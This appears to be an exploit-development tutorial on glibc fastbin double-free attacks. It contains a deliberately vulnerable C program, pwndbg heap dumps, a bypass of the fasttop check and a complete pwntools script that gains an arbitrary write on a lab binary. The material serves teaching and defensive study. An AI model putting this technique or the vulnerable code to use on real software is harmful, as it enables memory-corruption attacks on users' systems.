Introduction
In exploit development, an arbitrary write primitive is a mechanism which allows us to modify the contents of a memory location.
This can often be leveraged to achieve code execution by overwriting instruction pointers stored in memory, or modifying the programs internals such as the Global Offset Table (GOT) or Procedure Linkage Table (PLT).
The heap is an area of memory set aside for later allocation. In the virtual address space of an application it exists below stack memory.
The glibc library exports two basic functions for managing heap memory.
- malloc() – takes a memory size as a parameter and returns a pointer to the memory chunk.
- free() – takes a memory pointer and marks it as available for reuse. Deallocated memory is assigned to a “bin” based on it’s size. Chunks less than 0x80 bytes are assigned to the “fastbin”.
We’re going to look at exploiting a heap double free vulnerability to achieve an arbitrary write primitive.
The vulnerable application contains a variable called “target” we will attempt to overwrite.
For the purpose of our testing, Glibc version 2.24 (which is included with Ubuntu 17.04) is used as latter versions of Glibc include TCACHE support which changes our approach. An understanding of fastbin exploitation is still necessary for exploitation of modern glibc versions, which will be covered in later posts.
Vulnerable Application Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// compile with
// gcc -no-pie -Wl,-z,norelro -z now -ggdb test.c -o test
struct test {
char test[30];
} tests;
struct user {
char username[16];
char target[16];
} users;
int main () {
strcpy( users.target, "TARGET");
char *m_array [8];
m_array[0] = (char *)0x0;
m_array[1] = (char *)0x0;
m_array[2] = (char *)0x0;
m_array[3] = (char *)0x0;
m_array[4] = (char *)0x0;
m_array[5] = (char *)0x0;
m_array[6] = (char *)0x0;
m_array[7] = (char *)0x0;
setvbuf(stdout,(char *)0x0,2,0);
printf("Enter username: ");
read(STDIN_FILENO, users.username, 0x10);
int i;
int ChunkNumber = 0;
for (i = 1; i < 20; ++i)
{
int selection;
printf( "Target : %s\n", users.target);
printf("Next chunk number: %d/7 \n", ChunkNumber);
printf("1) malloc\n");
printf("2) free\n");
printf("3) quit\n");
printf(">");
scanf("%d", &selection);
fflush (stdin);
switch(selection){
int mallocSize;
char inputData[256];
case 1:
printf ("malloc size: \n");
scanf("%d", &mallocSize);
printf ("input data: \n");
scanf("%s", inputData);
// Allocate heap memory chunk. Size based on previous user input
char *heapChunk;
m_array[ChunkNumber] = (char *) malloc(mallocSize);
strcpy(m_array[ChunkNumber],inputData);
printf("chunk allocated: %d/7 \n", ChunkNumber);
ChunkNumber++;
break;
case 2:
printf("Select chunk to free: ");
scanf("%d", &selection);
printf("Freeing chunk: %d\n", selection);
free(m_array[selection]);
break;
case 3:
exit(0);
break;
default:
printf("Invalid selection\n");
break;
}
}
return(0);
}
Analysing the Heap
pwndbg can be used to analyse the current heap memory allocations with the “vis_heap_chunks” command.
In the below output, two 0x28 byte heap allocations have been made. The first allocation is filled with “A” characters, and the second “B” characters respectively.
We can see the chunk size is set to 0x31. This is because the allocated chunk size is 0x28, with an additional 8 bytes to account for the chunk size field (0x28 + 0x8 = 0x30)
An additional 0x1 is added to this field to indicate the chunk is in use (the prev_in_use flag), bringing the size field to 0x31.
pwndbg> vis_heap_chunks
0x405010 0x0000000000000000 0x0000000000000031 ........1....... <-- 0x31 = Chunk size
0x405020 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA <-- Chunk 1
0x405030 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x405040 0x4141414141414141 0x0000000000000031 AAAAAAAA1....... <-- 0x31 = Chunk size
0x405050 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB <-- Chunk 2
0x405060 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x405070 0x4242424242424242 0x000000000001fe00 BBBBBBBB........ <-- Top chunk
Calling free() on these heap allocations shows both memory addresses have been allocated to the 0x30 fastbin due to their size.
pwndbg> vis_heap_chunks
0x405010 0x0000000000000000 0x0000000000000031 ........1....... <-- fastbins[0x30][1]
0x405020 0x0000000000000000 0x4141414141414141 ........AAAAAAAA <-- 0x0 = fastbin forward pointer
0x405030 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x405040 0x4141414141414141 0x0000000000000031 AAAAAAAA1....... <-- fastbins[0x30][0]
0x405050 0x0000000000405010 0x4242424242424242 .P@.....BBBBBBBB <-- 0x405010 = fastbin forward pointer
0x405060 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x405070 0x4242424242424242 0x000000000001fe00 BBBBBBBB........ <-- Top chunk
The next time a call is made to malloc of the same size (0x28) the memory in the fastbin will be reallocated for use by the application.
Note that data stored in the fastbin has changed after being freed. The second QWORD of each chunk of data has been replaced with a forward pointer pointing to the next chunk.
Chunk B has the forward pointer of 0x405010 to point to chunk A. Chunk A has a forward pointer of 0x0, since it’s at the start of the list. This is a LIFO linked list data structure.
pwndbg> fastbins
0x30: 0x405040 --> 0x405010 <-- 0x0
Exploitation
If we can overwrite the forward pointer, we can get the heap allocator to return a pointer to an area of memory of our choosing the next time malloc() is called.
To do this, we can call free() twice on the same chunk of memory, then call malloc(). This would mean the heap allocator would consider the memory as both allocated, and available for allocation at the same time allowing for tampering of the forward pointer.
However, there are some hurdles to overcome. Firstly, attempting to call free() twice will result in the below malloc code being triggered, terminating the application with a SIGABRT:
pwndbg> context code
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
---------------------------------[ SOURCE (CODE) ]-------------------------------------
In file: .glibc/glibc_2.30_no-tcache/malloc/malloc.c
4261 if (SINGLE_THREAD_P)
4262 {
4263 /* Check that the top of the bin is not the record we are going to
4264 add (i.e., double free). */
4265 if (__builtin_expect (old == p, 0))
> 4266 malloc_printerr ("double free or corruption (fasttop)");
4267 p->fd = old;
4268 *fb = p;
4269 }
4270 else
4271 do
Circumventing this check is fairly trivial by calling free() on another chunk of memory after our initial free(). i.e.
free(chunk_a)
free(chunk_b)
free(chunk_a)
Resulting heap allocation:
0x405010 0x0000000000000000 0x0000000000000031 ........1....... <-- fastbins[0x30][0], fastbins[0x30][0]
0x405020 0x0000000000405040 0x4141414141414141 @P@.....AAAAAAAA
0x405030 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x405040 0x4141414141414141 0x0000000000000031 AAAAAAAA1....... <-- fastbins[0x30][1]
0x405050 0x0000000000405010 0x4242424242424242 .P@.....BBBBBBBB
0x405060 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x405070 0x4242424242424242 0x000000000001fe00 BBBBBBBB........ <-- Top chunk
fastbins
0x30: 0x405010 –> 0x405040 <– 0x405010
As we can see, chunk A is now in fastbins twice. If when we call malloc() again, we can manipulate the data stored in the fastbin chunk, and it’s forward pointer.
We can use pwntools to inject the memory address of our target variable using elf.sym.users (the target variable exists in the “users” struct):
malloc(0x28, b"A"*0x28)
malloc(0x28, b"B"*0x28)
# Double free chunk A
free(0)
free(1)
free(0)
#Allocate double free chunk (will be allocated as fastbin forward pointer)
malloc(0x28, p64(elf.sym.users))
Fastbins shows the next time we call malloc(), it will return a pointer to our target data:
pwndbg> fastbins
0x30: 0x403540 (users) <-- 0x544547524154 /* 'TARGET' */
pwndbg> dd 0x403540
0000000000403540 72657375 656d616e 00000000 00000000 <-- [1] Size Field
0000000000403550 47524154 00005445 00000000 00000000
0000000000403560 00000000 00000000 00000000 00000000
0000000000403570 00000000 00000000 00000000 00000000
Unfortunately, attempting to call malloc on this fastbins chunk will result in another error:
pwndbg> context code
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
-----------------------------[ SOURCE (CODE) ]--------------------------------------------
In file: /home/user/HeapLAB/HeapLAB/.glibc/glibc_2.30_no-tcache/malloc/malloc.c
3589 REMOVE_FB (fb, pp, victim);
3590 if (__glibc_likely (victim != NULL))
3591 {
3592 size_t victim_idx = fastbin_index (chunksize (victim));
3593 if (__builtin_expect (victim_idx != idx, 0))
> 3594 malloc_printerr ("malloc(): memory corruption (fast)");
3595 check_remalloced_chunk (av, victim, nb);
3596 #if USE_TCACHE
3597 /* While we're here, if we see other chunks of the same size,
3598 stash them in the tcache. */
3599 size_t tc_idx = csize2tidx (nb);
This is because the size field[1] at address 0x403540 is not within the fastbin range (it’s greater than 0x80).
In this instance since the username variable is attacker controlled and is part of the same struct as the target field, we can also manipulate that value:
pwndbg> ptype user
type = struct user {
char username[16];
char target[16];
}
Injecting a valid size field:
username = p64(0) + p64(0x31)
io.sendafter(b"Enter username: ", username)
Resulting (valid) memory structure;
pwndbg> dd 0x403540
0000000000403540 00000000 00000000 00000031 00000000 <-- size field
0000000000403550 47524154 00005445 00000000 00000000
0000000000403560 00000000 00000000 00000000 00000000
0000000000403570 00000000 00000000 00000000 00000000
The next time malloc is called, the target value is overwritten;
chunk allocated: 5/7
Target : PWND
Exploit Code
#!/usr/bin/python3
# -*- coding: future_fstrings -*-
from pwn import *
elf = context.binary = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pty = process.PTY
p = process(stdin=pty, stdout=pty)
context.log_level = 'debug'
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
def malloc(size, data):
log.info("Calling malloc...")
io.sendlineafter(b">", b"1")
io.sendlineafter(b"malloc size: ", f"{size}")
io.sendlineafter(b"input data: " , data)
def free(chunk_number):
log.info("Calling free...")
io.sendlineafter(">", b"2")
io.sendlineafter("Select chunk to free: ", f"{chunk_number}")
io = start()
io.timeout = 1.2
username = p64(0) + p64(0x31)
io.sendafter(b"Enter username: ", username)
io.recvuntil(b">", timeout=5)
# Allocate chunk 0 and 1
malloc(0x28, b"A"*0x28)
malloc(0x28, b"B"*0x28)
# Double free chunk 0
free(0)
free(1)
free(0)
#Allocate double free chunk (will be allocated as fastbin forward pointer)
malloc(0x28, p64(elf.sym.users))
malloc(0x28, b"Y") # retrieve a
malloc(0x28, b"Y") # retrieve b
malloc(0x28, b"PWND\0") # target data
io.interactive()